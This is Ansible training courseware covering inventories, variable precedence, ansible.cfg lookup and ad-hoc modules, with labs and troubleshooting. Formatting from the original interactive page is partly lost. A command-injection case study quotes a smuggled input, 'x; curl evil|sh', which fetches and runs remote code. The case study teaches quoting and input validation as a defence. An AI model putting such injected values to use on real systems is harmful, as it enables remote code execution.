Cause: the remote user's home directory is not writable, the disk is full, or remote_tmp points to a path that does not exist or has no permission.
ansible node2 -m raw -a 'id; df -h ~; ls -ld ~ ~/.ansible'
Fix: fix the home directory permissions or free disk space; if needed, set remote_tmp = /tmp/.ansible-${USER}/tmp (in ansible.cfg, [defaults]).
[WARNING]: Platform linux on host node2 is using the discovered Python interpreter at /usr/bin/python3.12, but future installation of another Python interpreter could change the meaning of that path.
Cause: This is a hint from interpreter discovery, not an error (shown by default when using interpreter_python = auto ).
Fix: To silence the hint, set interpreter_python = auto_silent (already set in this lesson's ansible.cfg), or explicitly set ansible_python_interpreter for that host or group. In production, set it explicitly so that system upgrades which change the interpreter do not change behavior.
command/shell tasks always show changed, so the playbook is never “clean”
Cause: These two modules cannot tell whether a command changed the system, so by default changed: true is always reported.
Fix: Prefer dedicated modules (apt, user, file…). When you must use a command, add creates:/removes:, or register and then decide with changed_when (modules 4, 6). For read-only commands, write changed_when: false.
1. Use one command to see all the SSH/sftp commands Ansible sends when you run ping against node3.
ansible node3 -m ping -vvv 2>&1 | grep "SSH: EXEC"
2. Keep the remote temp files and find the path of the generated AnsiballZ script.
ANSIBLE_KEEP_REMOTE_FILES=1 ansible node3 -m ping -vvv 2>&1 | grep PUT ansible node3 -m shell -a 'ls ~/.ansible/tmp/*/'
A colleague says: “After Ansible finishes the playbook, there is an ansible process on the node that keeps watching the config, so if someone edits nginx.conf by hand it gets changed back automatically.” What is wrong with this? How could you achieve automatic correction?
Ansible is agentless. After execution it cleans up the temp directory, and there is no resident process on the managed node and no state. Manual edits are only detected and corrected at the next playbook run (the template task shows changed). To achieve automatic correction, run on a schedule (cron + ansible-pull, or AWX/AAP scheduled jobs, lesson 5), use Event-Driven Ansible to trigger on monitoring events, or run scheduled CI jobs --check --diff to detect drift and raise alerts.
Verified teaching videos
Official docs
- Ansible concepts
- Installing Ansible
- Releases and maintenance
- Ansible module architecture (AnsiballZ, module execution flow)
- Interpreter Discovery
Video storyboard (about 90 seconds)
This courseware cannot generate video or MP3 directly. A storyboard and narration script are provided for use with a video tool.
Visual: on the left, a laptop labeled “Control node”; on the right, three servers, each with a crossed-out “agent” icon.
Narration: Ansible has no agent. Managed machines only need SSH and Python.
Visual: inside the control node, the inventory, variables and module blocks merge into a package labeled AnsiballZ_apt.py.
Narration: For each task, the control node merges variables and renders templates, then packages the module code and arguments into a self-extracting Python script.
Visual: the package travels along the SSH pipe to the server's temp directory. A python3 icon runs on the server and emits a JSON bubble: changed true.
Narration: The script travels over a reused SSH connection to the remote temp directory, Python executes it, the result returns as JSON, and then the temp directory is deleted.
Visual: the same task runs twice. The first time it shows yellow changed; the second time, green ok.
Narration: The module first checks the current state. If it is already satisfied, it does nothing. That is idempotency. A fully green second run shows the system has converged.
Module 2 · Inventory and connections
- Write the same inventory in both INI and YAML: hosts, groups, nested groups (children), host ranges (
node[1:3]), inline variables. - Use
group_vars/,host_vars/to organize variables. Understand the override order all → parent group → child group → host. Useansible-inventory --graph/--list/--hostto verify. - Master the common connection variables (
ansible_host,ansible_port,ansible_user,ansible_connection,ansible_ssh_private_key_file,ansible_python_interpreter,ansible_become) and host patterns. - State the ansible.cfg lookup order (
ANSIBLE_CONFIG→ current directory →~/.ansible.cfg→/etc/ansible/ansible.cfg), and know that “only the first file found is used, files are not merged”.
What: what Inventory is
Inventory is the list of managed nodes, answering three questions: which hosts exist,which groups they belong to,which variables each host or group has (including how to connect to it). The inventory is parsed by inventory plugins: static files commonly use ini and yaml plugins; dynamic sources include amazon.aws.aws_ec2,azure.azcollection.azure_rm,community.docker.docker_containers , etc. (lessons 3, 4). You can pass multiple sources at once (-i a.ini -i b.yml or point to a directory), and Ansible merges them.
- Two implicit groups:
allall (all hosts) andungroupedungrouped (hosts that are not in any group other than all). - A host can belong to multiple groups: in this lesson, node1 belongs to
lbandcache. - Groups can be nested: INI uses
[lab:children], YAML useschildren:. - Host names are just identifiers:
node1need not be resolvable via DNS; the address actually connected to isansible_host; if unset, the host name itself is used.
Why: why grouping must be designed carefully
All playbooks select targets through hosts: , and variables are mostly attached by group. Good grouping lets the same playbook be reused across dev, test and prod (swapping only the inventory), and makes “run only on app” or “exclude one machine” safe. A common practice is to group by function (web/app/db/lb), by environment (dev/prod), by location (region/zone), then combine them with nested groups and intersection patterns.
How: where variables come from and who overrides whom
Inventory-related variable sources (lowest to highest):
- Group variables in the inventory file
all→group_vars/all - parent group variables → child group variables (the child overrides the parent; sibling groups at the same level are merged in group-name alphabetical order, the later one overriding the earlier; adjust with
ansible_group_priorityto adjust) - host variables (inline in the inventory) →
host_vars/<hostname>
group_vars/ and host_vars/ can be placed beside the inventory file or beside the playbook. When both exist, the one beside the playbook takes precedence. A file can be a group_vars/app.yml or a directory group_vars/app/*.yml (useful for splitting secrets into vault files, lesson 2). The full 22-level variable precedence is in module 5.
Common connection variables (behavioral inventory parameters)
| Variable | Meaning | Value in this lesson |
|---|---|---|
ansible_host | Actual address to connect to | 172.30.0.11–13 |
ansible_port | SSH port, default 22 | 22 |
ansible_user | Remote user (overrides remote_user in ansible.cfg) | ansible |
ansible_connection | Connection plugin: ssh (default),local,paramiko,community.docker.docker,amazon.aws.aws_ssm,winrm… | ssh |
ansible_ssh_private_key_file | Private key path | ~/.ssh/ansible_lab |
ansible_ssh_common_args | Extra arguments passed to ssh/sftp/scp, e.g. -o ProxyJump=bastion | — |
ansible_python_interpreter | Remote Python path; overrides auto-discovery | auto_silent (from cfg) |
ansible_become / ansible_become_user / ansible_become_method | Whether to escalate privileges, to whom, and how (sudo/su/doas…) | Set per play as needed |
ansible.cfg lookup order
- Environment variable
ANSIBLE_CONFIGpoints to the file - the
ansible.cfgin the current working directory (if this directory is world-writable, it is ignored with a warning) - Home directory
~/.ansible.cfg /etc/ansible/ansible.cfg
Ansible uses the first file found and does not merge multiple files. A single setting can still be overridden by an environment variable of the same name (e.g. ANSIBLE_FORKS) and by command-line arguments (-f): command line > environment variable > config file > default. A pipx installation does not create /etc/ansible/ansible.cfg, but you can use ansible-config init --disabled > ansible.cfg to generate a template with comments for all options.
When: choosing a format
- INI: short and intuitive, suited to small static inventories. Drawback: inline variables are all parsed as strings (e.g.
port=8080is a string, and so are values in[group:vars]. - YAML: clear structure and accurate types (numbers, booleans, lists, dicts). Suited to larger inventories and complex variables; recommended for production.
- Dynamic inventory: cloud environments and auto-scaling hosts must use dynamic plugins (lessons 3, 4).
Comparison with similar technologies
| Ansible inventory | Terraform | Puppet / Salt | |
|---|---|---|---|
| Where hosts come from | Static files or dynamic plugins (generated live at each run) | Resources it created are recorded in state | Agent actively registers (certificate / minion key) |
| Grouping basis | Hand-written groups; dynamic plugin keyed_groups (auto-grouped by tags) | No such concept | Puppet: node classifier / Hiera; Salt: grains matching |
| Variable layering | group_vars / host_vars | variables / locals | Hiera / Pillar |
ansible_host . ② “group_vars file names can be arbitrary”: the file (or directory) name must exactly match the group name,group_vars/apps.yml otherwise it will not apply to the app group, and no error is raised. ③ “I have ~/.ansible.cfg in my home directory, so the project's ansible.cfg will merge with it”: no. Once the project directory's file is found, the home directory file has no effect at all. ④ “In INI, ansible_port=2222 is a number”: INI inline variables are strings. Connection variables are converted automatically, but your own business variables (e.g. app_replicas=3) used in arithmetic must be | int converted with a filter, or switch to YAML.Structure diagram: group relationships in this lesson's inventory
Flowchart: ansible.cfg lookup and setting override
ansible --version 's “config file =” line to confirm which file is actually in effectInteractive 1: inventory variable merge browser
Assume the following variable files: group_vars/all.yml (ntp_server: pool.ntp.org,app_port: 5000,motd_role: generic),group_vars/lab.yml (env: lab) group_vars/cache.yml (motd_role: cache) group_vars/lb.yml (motd_role: loadbalancer,nginx_workers: 2) group_vars/app.yml (motd_role: app,app_port: 5000,gunicorn_workers: 2) host_vars/node3.yml (gunicorn_workers: 4). Select a host and check ansible-inventory --host 's merged result and where each value comes from.
Interactive 2: which ansible.cfg is actually used?
Core commands and parameters
| Command | Purpose | Key parameters / notes |
|---|---|---|
ansible-inventory --graph [GROUP] | Show groups and hosts as a tree | --vars Also show variables |
ansible-inventory --list | Output the full JSON (the standard dynamic inventory format) | -y Output YAML; --export keep the group structure unexpanded |
ansible-inventory --host HOST | Show a host's merged variables | Excludes facts and play-level variables |
ansible PATTERN --list-hosts | Preview which hosts would match (no connection) | Always run before dangerous operations |
-i PATH | Specify inventory file/directory/plugin config; can be given multiple times | Override ansible.cfg's inventory |
-l / --limit PATTERN | Narrow further within the play's hosts scope | -l node2,-l 'app:!node3',-l @failed.txt |
ansible-config init --disabled | Generate an ansible.cfg template with all options commented | -t all Includes plugin options |
Host pattern quick reference
| Pattern | Meaning | Result in this lesson |
|---|---|---|
all or * | All hosts | node1 node2 node3 |
app | One group | node2 node3 |
lb:app or lb,app | Union | node1 node2 node3 |
lb:&cache | Intersection | node1 |
lab:!app | Exclusion | node1 |
node[2:3],~node[23] | Range / regex (starts with ~) | node2 node3 |
app[0] | First host in group (index) | node2 |
cd ~/ansible-lab ansible 'lab:!app' --list-hosts ansible 'lb:&cache' --list-hosts ansible-inventory --host node2
hosts (1):
node1
hosts (1):
node1
{
"ansible_host": "172.30.0.12"
}
How to verify: first --list-hosts, confirm the match is correct before executing. Common mistakes: In bash, ! and & need the pattern in single quotes, otherwise the shell interprets them (event not found). Production use: during a canary, --limit 'app[0]' change one host first.
Several ways to write connection variables
ansible_host: 172.30.0.11 # via bastion host: # ansible_ssh_common_args: '-o ProxyJump=ops@bastion.example.com' # Use the Docker connection plugin to exec directly into the container (no SSH; needs the community.docker collection): # ansible_connection: community.docker.docker # ansible_host: node1 # here ansible_host is the container name
# temporarily use a local connection to run on the control node itself ansible localhost -m ping # implicit localhost: usable even when not in the inventory; uses a local connection automatically ansible localhost -m setup -a 'filter=ansible_distribution*'
Implicit localhost: when localhost is not defined in the inventory, Ansible provides an implicit localhost (connection=local, Python is the interpreter running Ansible), but it does not belong to the all group,hosts: all so the all group won't include it.
Lab 2: rewrite the INI as YAML, add layered variables and verify (about 6 minutes)
all:
children:
lab:
children:
lb:
hosts:
node1:
ansible_host: 172.30.0.11
cache:
hosts:
node1: {}
app:
hosts:
node2:
ansible_host: 172.30.0.12
node3:
ansible_host: 172.30.0.13
cd ~/ansible-lab ansible-inventory -i inventory/hosts.yml --graph diff <(ansible-inventory -i inventory/hosts.ini --list) <(ansible-inventory -i inventory/hosts.yml --list) && echo SAME
@all: |--@ungrouped: |--@lab: | |--@lb: | | |--node1 | |--@cache: | | |--node1 | |--@app: | | |--node2 | | |--node3 SAME
Later labs keep using hosts.ini (already set in ansible.cfg). Do not put both files into inventory/ and use -i inventory/ to point at the directory; that would merge the two sources. The result is the same but confusing. Delete hosts.yml when you finish the exercise.
cat > inventory/group_vars/all.yml <<'EOF' ntp_server: pool.ntp.org app_port: 5000 motd_role: generic EOF cat > inventory/group_vars/lab.yml <<'EOF' env: lab EOF cat > inventory/group_vars/lb.yml <<'EOF' motd_role: loadbalancer nginx_workers: 2 EOF cat > inventory/group_vars/cache.yml <<'EOF' motd_role: cache EOF cat > inventory/group_vars/app.yml <<'EOF' motd_role: app gunicorn_workers: 2 EOF cat > inventory/host_vars/node3.yml <<'EOF' gunicorn_workers: 4 EOF ansible-inventory --host node1 -y ansible-inventory --host node3 -y
ansible_host: 172.30.0.11 app_port: 5000 env: lab motd_role: loadbalancer nginx_workers: 2 ntp_server: pool.ntp.org ansible_host: 172.30.0.13 app_port: 5000 env: lab gunicorn_workers: 4 motd_role: app ntp_server: pool.ntp.org
node1 belongs to both lb and cache, which are sibling groups at the same level. They are merged in group-name alphabetical order (cache first, lb last), so motd_role finally becomes loadbalancer. node3's host_vars overrides the gunicorn_workers.
echo 'ansible_group_priority: 10' >> inventory/group_vars/cache.yml ansible-inventory --host node1 -y | grep motd_role sed -i '/ansible_group_priority/d' inventory/group_vars/cache.yml
motd_role: cache
A higher priority number is merged later (and wins); default is 1. It only affects sibling groups at the same level and cannot make group variables beat host variables. In practice, it is better to avoid defining the same variable in sibling groups.
cd /tmp && ansible --version | grep "config file" cd ~/ansible-lab && ansible --version | grep "config file" ANSIBLE_CONFIG=/dev/null ansible --version | grep "config file" mkdir -p /tmp/ww && cp ansible.cfg /tmp/ww/ && chmod 777 /tmp/ww && cd /tmp/ww && ansible --version 2>&1 | grep -iE "config file|world writable"; cd ~/ansible-lab; rm -rf /tmp/ww
config file = None config file = /home/azureuser/ansible-lab/ansible.cfg config file = /dev/null [WARNING]: Ansible is being run in a world writable directory (/tmp/ww), ignoring it as an ansible.cfg source. For more information see https://docs.ansible.com/ansible/devel/reference_appendices/config.html#cfg-in-world-writable-dir config file = None
This is why “ansible.cfg has no effect” for WSL users who keep the project in /mnt/c/... (default mount permissions 777). Move the project to the Linux filesystem (e.g. ~/), or specify the file explicitly with ANSIBLE_CONFIG .
rm -f inventory/hosts.yml.Case 1: one playbook managing dev and prod
Problem: The team kept dev and prod hosts in one inventory, and one hosts: web mistake hit production. Approach: Split by environment into inventories/dev/ and inventories/prod/ , each directory with hosts.yml,group_vars/,host_vars/. Execution must explicitly specify -i inventories/prod, and in CI, prod requires manual approval. Config: ansible.cfg's default inventory points to dev. Limit: Shared variables placed in group_vars/all would be duplicated across both directories; put “all-environment” values in group_vars next to the playbook instead.
Case 2: unify bastion and interpreter settings with group variables
Problem: The data center mixes RHEL 8 (platform Python 3.6, which does not meet core 2.21's managed-node requirement of 3.9 or later) with Ubuntu hosts. Approach: Create rhel8 groups, set group_vars/rhel8.yml in ansible_python_interpreter: /usr/bin/python3.11 (pre-install the python3.11 package with raw or bake it into the image); point all production groups' ansible_ssh_common_args to the bastion host. Limit: The more platform differences there are, the more you should check prerequisites at the start of the playbook with assert (module 6).
Case 3: ansible.cfg “works sometimes” on WSL
Problem: A developer uses WSL on Windows with the project in /mnt/c/repos/infra. The same command works in CI but cannot connect to hosts locally. Approach:ansible --version Running config file = /home/dev/.ansible.cfg showed that the project directory is world-writable, so it was ignored and an old config in the home directory was read. Clone the repo into WSL's ext4 filesystem, or in /etc/wsl.conf , configure drvfs with metadata option and fix the permissions. Limit: Team docs should make “check the config file line first” step one.
Common errors and fixes
[WARNING]: Could not match supplied host pattern, ignoring: web / provided hosts list is empty, only localhost is available
Cause: wrong group name, inventory not loaded (ansible.cfg not in effect, or a wrong -i path), or a YAML inventory indentation error that leaves the group empty.
ansible --version | grep "config file" ansible-inventory --graph ansible-config dump --only-changed | grep HOST_LIST
Fix: correct the group name or the -i path; in a YAML inventory, under hosts: the hosts must be a dictionary (host name followed by a colon).
[WARNING]: * Failed to parse /home/u/ansible-lab/inventory/hosts.yml with yaml plugin: … [WARNING]: Unable to parse … as an inventory source
Cause: Ansible tries each inventory plugin in turn and prints this warning when all of them fail. It is common with YAML indentation errors, hosts written as a list (- node1), or an INI file using a .yml suffix.
ansible-inventory -i inventory/hosts.yml --list -vvv 2>&1 | grep -A3 "Failed to parse" python3 -c 'import yaml,sys; yaml.safe_load(open(sys.argv[1]))' inventory/hosts.yml
Fix: use dictionary syntax for hosts, e.g. node1: {}; in the [inventory] enable_plugins section of ansible.cfg, enable only the plugins you need so the error messages are clearer.
node2 | UNREACHABLE! => {"msg": "Failed to connect to the host via ssh: ssh: Could not resolve hostname node2: Name or service not known"}
Cause: Without setting ansible_host, Ansible uses the host name node2 for DNS resolution; or the host_vars file name does not match the host name, so ansible_host has no effect.
ansible-inventory --host node2
Fix: Set it in the inventory, or in host_vars/node2.yml , set ansible_host: 172.30.0.12.
variables in group_vars/app.yml do not apply to node2 (and no error is raised)
Cause: the group_vars directory is in the wrong place (neither beside the inventory file nor beside the playbook), the file name does not match the group name (apps.yml), or the extension is not recognized (allowed: no extension,.yml,.yaml,.json).
ansible-inventory --graph --vars app ls inventory/group_vars/
Fix: put the directory under inventory/ (same level as hosts.ini), and make the file name match the group name exactly.
-bash: !app: event not found
Cause: bash history expansion treated ! as a command.
Fix: quote the pattern with single quotes: ansible 'lab:!app' --list-hosts.
1. Without connecting to any host, list the hosts that are in lab, not in app, and in cache.
ansible 'lab:!app:&cache' --list-hosts
2. Output node3's merged inventory variables in YAML and look only at gunicorn_workers.
ansible-inventory --host node3 -y | grep gunicorn_workers
A new colleague configured ~/.ansible.cfg in his home directory (forks=50, private key A), then ran a playbook in the project directory. The private key came from B in the project's ansible.cfg, but forks went back to 5 (forks is not set in the project config). He thinks Ansible “merged the config incorrectly”. Please explain.
Ansible only uses the first config file it finds. Once the project directory's ansible.cfg is found,~/.ansible.cfg the home-directory file is not read at all, so forks reverts to the built-in default of 5. This is not a bug. For personal settings, use environment variables (ANSIBLE_FORKS=50) or the command line -f 50, and put team-wide settings in the project's ansible.cfg. Use ansible-config dump --only-changed to see where each setting comes from.
Verified teaching videos
Official docs
- How to build your inventory
- Patterns: targeting hosts and groups
- Ansible Configuration Settings (includes the lookup order and world-writable notes)
- ansible-inventory CLI
Video storyboard (about 90 seconds)
This courseware cannot generate video/MP3 directly. A storyboard and narration script are provided for a video tool.
Visual: an hosts.ini file; the bracketed group names light up one by one, and a group relationship tree grows beside it.
Narration: the inventory tells Ansible which machines exist and how they are grouped. A machine can belong to several groups, and groups can be nested.
Visual: the group_vars and host_vars files stack like transparent sheets onto node3; the topmost host_vars gunicorn_workers 4 covers the 2 below it.
Narration: variables override by layer: all is lowest, then parent groups and child groups, with host variables highest.
Visual: four ansible.cfg files line up; the first one found lights up and the rest turn gray.
Narration: only the first config file found is used: the environment variable, the current directory, the home directory, and finally /etc. They are not merged.
Visual: the terminal runs ansible 'lab:!app' --list-hosts, and only node1 appears.
Narration: before any dangerous operation, preview the targets with list-hosts and confirm before acting.
Module 3 · Ad-hoc commands and modules
- Master ad-hoc syntax
ansible PATTERN -m MODULE -a ARGS [-b] [-f N] [--check] [-o], and read the SUCCESS / CHANGED / FAILED / UNREACHABLE output. - Distinguish
command(does not go through the shell; the default module),shell(goes through/bin/sh),raw(does not need Python): their use cases and security differences. - Be able to use
copy,apt/dnf/package,service/systemd_service,user,filefor daily operations, and useansible-docto look up parameters and examples yourself.
What: what an ad-hoc command is
An ad-hoc (one-off) command uses ansible this CLI to run a single module against a group of hosts. The execution mechanism is exactly the same as one task in a playbook (the module 1 pipeline). It suits “I need to know or do one small thing right now”: checking the kernel version on all machines, restarting a service, copying a file, or collecting facts.
Without -m , the default module is ansible.builtin.command, so ansible all -a 'uptime' is equivalent to ansible all -m command -a 'uptime'.
Why: why not just use a for loop with ssh
- Parallel: forks processes run at the same time (default 5; this lesson's ansible.cfg sets 10).
- Reuse inventory: patterns, groups, connection variables and become are all managed in one place.
- Idempotent modules:
ansible app -b -m apt -a 'name=nginx state=present'can be safely repeated, unlikeapt-get installwhich redoes the work every time. - Structured results: each machine returns JSON, so you can see changed, rc, stdout and stderr.
How: the most commonly used modules
| Module (FQCN) | Purpose | Key parameters | Idempotent? |
|---|---|---|---|
ansible.builtin.ping | Verifies “SSH login + remote Python works” (not an ICMP ping) | — | Read-only |
ansible.builtin.command | Runs a command,does not go through the shell | cmd/argv,chdir,creates,removes | No (unless you use creates/removes) |
ansible.builtin.shell | Runs via /bin/sh , supports pipes, redirection, variables and wildcards | cmd,chdir,executable,creates | No |
ansible.builtin.raw | Sends the command directly over SSH,does not require remote Python | free text | No; only used for bootstrapping (installing Python) or network devices |
ansible.builtin.copy | Copy files from the control node, or use content to write content directly | src/content,dest,owner,mode,backup | Yes (compares checksums) |
ansible.builtin.apt / dnf | Debian/Ubuntu and RHEL/Fedora package management | name,state (present/latest/absent),update_cache,cache_valid_time | Yes |
ansible.builtin.package | Generic package management (picks apt/dnf automatically…) | name,state | Yes (package names may differ across distributions) |
ansible.builtin.service / systemd_service | Start/stop services, enable at boot (systemd_service also supports daemon_reload,masked) | name,state (started/stopped/restarted/reloaded),enabled | started/stopped: yes; restarted always reports changed |
ansible.builtin.user / file | user; files/directories/symlinks/permissions | name,groups; path,state,mode | Yes |
ansible.builtin.setup | Collect facts (module 5) | filter,gather_subset | Read-only |
The essential difference between command and shell
command Splits the arguments on spaces (following shell quoting rules) into argv and runs the program directly: exec program: |,>,&&,*,$HOME are all just plain string arguments. shell shell runs /bin/sh -c 'your command', where the shell interprets those symbols. So use shell only when you need shell features; when arguments contain external input (variables), prefer command + argv to avoid command injection; when using variables in a shell command, add the | quote filter.
When: when to use ad-hoc, and when to write a playbook
- ad-hoc: queries (
uptime, disk, versions), one-off emergencies (restarting a service, cleaning up a temp file), verifying connectivity, and trying out module parameters. - playbook: any change that needs to be reproducible, reviewed, multi-step, conditional, or templated. Production changes should go into Git and run through a playbook; ad-hoc leaves no reviewable record (ad-hoc runs in AWX do keep job records; lesson 5).
Comparison with similar technologies
| ansible ad-hoc | pssh / parallel-ssh | salt '*' cmd.run | Azure Run Command / AWS SSM Run Command | |
|---|---|---|---|---|
| Parallel | forks | Yes | Yes (event bus) | Yes (managed by the cloud platform) |
| Idempotent modules | Yes (thousands) | None; commands only | Yes (state modules) | Docs/scripts |
| Prerequisite | SSH + Python | SSH | salt-minion | Cloud agent (VM Agent / SSM Agent) |
-m ping failure means the network is down” — it actually tests SSH login + Python execution; a host with a working network but no Python will also fail. ② “command module can be written with cat /etc/*.conf | grep x” — pipes and wildcards are not interpreted, which leads to errors or abnormal behavior. ③ “state=latest is better” — it upgrades packages on every run, so machines deployed at different times end up on different versions. In production, use present with an explicit version (name=nginx=1.24.*). ④ “service state=restarted is idempotent” — it restarts every time; use a handler to restart only when the config changes (module 6).Comparison diagram: what command, shell and raw each execute on the remote host
Sequence diagram: how forks determine the degree of parallelism
Interactive 1: command or shell?
Choose a command and see the argv that actually runs on the remote host, and the result, when it is handed to command and to shell .
Interactive 2: forks concurrency animation
12 hosts run the same task (each takes a random 0.6–1.4 seconds). Adjust forks, click play, and watch how under the linear strategy everything must finish before the next task starts.
Core commands and parameters
| Parameter | Purpose | Example |
|---|---|---|
-m MODULE | Module name, FQCN recommended | -m ansible.builtin.copy |
-a ARGS | Module parameters: k=v key=value form or JSON/YAML string | -a 'name=nginx state=present',-a '{"name":["nginx","curl"]}' |
-b / --become | Privilege escalation (default sudo to root) | -b --become-user postgres |
-K | Interactively enter the sudo password | This lesson's user has passwordless sudo, so |
-f N | forks | -f 20 |
-o | One line of output per host (easy to grep) | ansible all -a uptime -o |
-C / --check,-D / --diff | Dry run / show diff (the module must support it) | -C -D |
-B N -P M | Asynchronous execution (runs in the background for up to N seconds, polls every M seconds) | Long-running tasks; lesson 7 |
ansible-doc MODULE | Full docs (parameters, return values, examples) | ansible-doc ansible.builtin.apt |
ansible-doc -s MODULE | Only the parameter snippet (can be pasted directly into a playbook) | ansible-doc -s copy |
ansible-doc -l / -t TYPE -l | List modules / a category of plugins | ansible-doc -t connection -l |
cd ~/ansible-lab
ansible all -a 'uptime' -o
ansible app -m shell -a 'free -m | awk "/Mem:/ {print \$3\"/\"\$2\" MiB\"}"'
node1 | CHANGED | rc=0 | (stdout) 10:31:02 up 2 days, 3:10, 0 user, load average: 0.15, 0.10, 0.08 node2 | CHANGED | rc=0 | (stdout) 10:31:02 up 2 days, 3:10, 0 user, load average: 0.15, 0.10, 0.08 node3 | CHANGED | rc=0 | (stdout) 10:31:02 up 2 days, 3:10, 0 user, load average: 0.15, 0.10, 0.08 node2 | CHANGED | rc=0 >> 812/15990 MiB node3 | CHANGED | rc=0 >> 812/15990 MiB
Containers share the host kernel, so uptime and memory show the host's values. This is a typical difference when containers stand in for servers.
# Install packages (idempotent): the second run shows SUCCESS instead of CHANGED ansible app -b -m apt -a 'name=tree state=present update_cache=true cache_valid_time=3600' ansible app -b -m apt -a 'name=tree state=present update_cache=true cache_valid_time=3600' # Copy files / write content directly ansible app -b -m copy -a 'content="managed by ansible\n" dest=/etc/motd.ansible mode=0644' # Services ansible all -b -m service -a 'name=cron state=started enabled=true' ansible all -m command -a 'systemctl is-enabled ssh'
node2 | CHANGED => {
"cache_update_time": 1763202100,
"cache_updated": true,
"changed": true,
"stderr": "",
"stdout": "Reading package lists...\n…Setting up tree (2.1.1-2ubuntu3) ...\n",
…
}
node2 | SUCCESS => {
"cache_update_time": 1763202100,
"cache_updated": false,
"changed": false
}
…
node1 | FAILED! => {"changed": false, "msg": "Could not find the requested service cron: host"}
How to verify: Running the second time changed: false is idempotent. Common errors: The last command fails on the minimal image: the image has no cron installed, so the service module cannot find the unit. This is how the real world looks: first apt name=cron before managing services (fixed in the next lab step). Production use:cache_valid_time Avoid running apt update every time; with many hosts this noticeably reduces pressure on the software repositories.
Look up docs: ansible-doc
ansible-doc -s ansible.builtin.service ansible-doc ansible.builtin.apt | sed -n '/EXAMPLES/,/RETURN/p' | head -30 ansible-doc -l | grep -E '^ansible\.builtin\.' | wc -l ansible-doc -l community.docker | head
- name: Manage services
service:
arguments: # Additional arguments provided on the command line. …
enabled: # Whether the service should start on boot. …
name: # (required) Name of the service.
pattern: # If the service does not respond to the status command, …
runlevel: # For OpenRC init scripts (e.g. Gentoo) only. …
sleep: # If the service is being `restarted' then sleep this many seconds …
state: # `started'/`stopped' are idempotent actions that will not run commands unless necessary. …
use: # The service module actually uses system specific modules, …
Lab 3: complete a set of daily ops tasks with ad-hoc (about 5 minutes)
cd ~/ansible-lab ansible node2 -m command -a 'ls /etc/*.conf | wc -l' ansible node2 -m shell -a 'ls /etc/*.conf | wc -l'
node2 | FAILED | rc=2 >> ls: cannot access '/etc/*.conf': No such file or directory ls: cannot access '|': No such file or directory ls: cannot access 'wc': No such file or directory ls: cannot access '-l': No such file or directory non-zero return code node2 | CHANGED | rc=0 >> 12
ansible app -m command -a 'touch /tmp/initialized creates=/tmp/initialized' ansible app -m command -a 'touch /tmp/initialized creates=/tmp/initialized'
node2 | CHANGED | rc=0 >> node3 | CHANGED | rc=0 >> node2 | SUCCESS | rc=0 >> skipped, since /tmp/initialized exists node3 | SUCCESS | rc=0 >> skipped, since /tmp/initialized exists
ansible all -b -m apt -a 'name=cron state=present update_cache=true cache_valid_time=3600' ansible all -b -m service -a 'name=cron state=started enabled=true' ansible all -b -m service -a 'name=cron state=started enabled=true' -o
node1 | SUCCESS => {"changed": false,"enabled": true,"name": "cron","state": "started", "status": {…}}
node2 | SUCCESS => {"changed": false,"enabled": true,"name": "cron","state": "started", "status": {…}}
node3 | SUCCESS => {"changed": false,"enabled": true,"name": "cron","state": "started", "status": {…}}
The service module works precisely because module 0 runs systemd as PID 1. A plain sshd container would fail here (see Troubleshooting).
echo "lab notice: managed by ansible" > files/notice.txt ansible app -b -m copy -a 'src=files/notice.txt dest=/etc/notice.txt mode=0644' --check --diff ansible app -b -m copy -a 'src=files/notice.txt dest=/etc/notice.txt mode=0644' ansible app -b -m file -a 'path=/etc/notice.txt mode=0600' --diff
--- before
+++ after: /home/azureuser/ansible-lab/files/notice.txt
@@ -0,0 +1 @@
+lab notice: managed by ansible
node2 | CHANGED => { "changed": true, … } ← --check: only reports what would change
node2 | CHANGED => { "checksum": "5d1c…", "dest": "/etc/notice.txt", "mode": "0644", … }
--- before
+++ after
@@ -1,4 +1,4 @@
{
- "mode": "0644",
+ "mode": "0600",
"path": "/etc/notice.txt"
}
--check In --check mode, the remote module receives _ansible_check_mode=true, which only calculates and does not change anything; modules that do not support check mode are skipped with a notice.
ansible app -b -m user -a 'name=deploy shell=/bin/bash groups=sudo append=true' ansible app -m raw -a 'id deploy'
node2 | CHANGED => { "name": "deploy", "uid": 1002, "groups": "sudo", "home": "/home/deploy", … }
node2 | CHANGED | rc=0 >>
uid=1002(deploy) gid=1002(deploy) groups=1002(deploy),27(sudo)
Shared connection to 172.30.0.12 closed.
The raw output contains “Shared connection … closed.”, which ssh prints when ControlPersist reuses the connection.
ansible app -b -m user -a 'name=deploy state=absent remove=true' ansible app -b -m file -a 'path=/etc/notice.txt state=absent' ansible app -m file -a 'path=/tmp/initialized state=absent' ansible app -b -m apt -a 'name=tree state=absent'
Case 1: vulnerability response — learn the OpenSSL versions of 500 machines within 10 minutes
Problem: A high-severity vulnerability was disclosed, and the team needs to know the affected scope right away. Approach:ansible all -m shell -a "dpkg-query -W -f='\${Version}' openssl 2>/dev/null || rpm -q --qf '%{VERSION}-%{RELEASE}' openssl" -o -f 50 | sort -k4 | uniq -c -f3 Get the version distribution, then use package_facts module, and turn it into a playbook that generates the report. Limit: Ad-hoc results are not archived. For formal conclusions, export CSV/JSON with a playbook and file a ticket.
Case 2: command injection caused by misusing shell
Problem: A self-service platform concatenated the user-supplied “backup directory name” into shell: tar czf /backup/{{ dir }}.tgz /data/{{ dir }}, and someone entered x; curl evil|sh. Approach: Switch to command + argv with an argument list (no shell), or at least use {{ dir | quote }}; validate input with an allowlist (assert + regex). Limit: quote only protects against shell metacharacters; path traversal (../) still needs validation.
Case 3: the “stampede” of bulk restarts
Problem:ansible web -b -m service -a 'name=nginx state=restarted' With forks=50, all web nodes were restarted at the same time, and instantly no instances were available behind the load balancer. Approach: In an emergency, use -f 1 or --limit to restart in batches; for the formal process, write a playbook using serial: 2 for rolling execution, with health checks after each batch (lesson 6). Limit: ad-hoc does not support serial.
Common errors and fixes
node2 | FAILED! => {"changed": false, "msg": "Failed to lock apt for exclusive operation: Failed to lock directory /var/lib/apt/lists/: E:Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)"}
Cause: forgot -b, so the package manager ran as the regular user ansible.
Fix: add -b; in the playbook, write become: true. If you see Could not get lock … held by process … (apt), a process such as unattended-upgrades is holding the lock: wait, or use the lock_timeout parameter.
"msg": "System has not been booted with systemd as init system (PID 1). Can't operate." / "Could not find the requested service nginx: host"
Cause: the former: the container has no systemd (PID 1 is sshd or bash). The latter: the package for the service is not installed, or the unit name is wrong (on Ubuntu it is ssh, on RHEL it is sshd).
